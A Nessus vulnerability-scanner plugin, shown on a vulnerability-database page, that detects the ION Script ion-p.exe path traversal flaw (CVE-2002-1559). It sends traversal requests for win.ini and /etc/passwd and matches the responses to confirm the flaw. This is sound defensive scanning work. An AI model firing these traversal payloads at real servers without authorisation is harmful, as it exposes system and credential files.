Vulnerabilities > CVE-2002-1559 - Remote File Disclosure vulnerability in Research Systems Inc. ION Script 1.4

#
# This script was written by John [email protected]
#
# See the Nessus Scripts License for details
#

# Changes by Tenable:
# - Revised plugin title (4/16/009)


include("compat.inc");

if (description)
{
 script_id(11729);
 script_version("1.25");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
 script_cve_id("CVE-2002-1559");
 script_bugtraq_id(6091);

 script_name(english:"ION ion-p.exe page Parameter Traversal Arbitrary File Retrieval");
 script_summary(english:"Checks for the ion-p.exe file");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server is hosting an application that is affected by
an information disclosure vulnerability.");
 script_set_attribute(attribute:"description", value:
"The ion-p.exe exists on this web server. Some versions of this file
are vulnerable to remote exploit. An attacker, exploiting this
vulnerability, may be able to gain access to confidential data and/or
escalate their privileges on the web server.");
 script_set_attribute(attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=103617461516386&w=2");
 script_set_attribute(attribute:"solution", value:
"There is no known solution at this time.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"plugin_publication_date", value:"2003/06/11");
 script_set_attribute(attribute:"vuln_publication_date", value:"2002/11/01");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 script_category(ACT_ATTACK);
 script_copyright(english:"This script is Copyright (C) 2003-2020 John Lampe");
 script_family(english:"CGI abuses");
 script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80, embedded:TRUE);

if(!get_port_state(port))exit(0);

flag = 0;
directory = "";

foreach dir (cgi_dirs()) {
	req = http_get(item: dir + "/ion-p.exe?page=c:\\winnt\\win.ini", port:port);
	res = http_keepalive_send_recv(port:port, data:req);
	if( res == NULL ) exit(0);

	if (egrep(pattern:".*\[fonts\].*", string:res, icase:TRUE)) {
			security_warning(port);
			exit(0);
		}

	req = http_get(item: dir + "/ion-p.exe?page=../../../../../etc/passwd", port:port);
	res = http_keepalive_send_recv(port:port, data:req);
	if (egrep(pattern:".*root:.*:0:[01]:.*", string:res))
	{
	 security_warning(port);
	 exit(0);
	}
}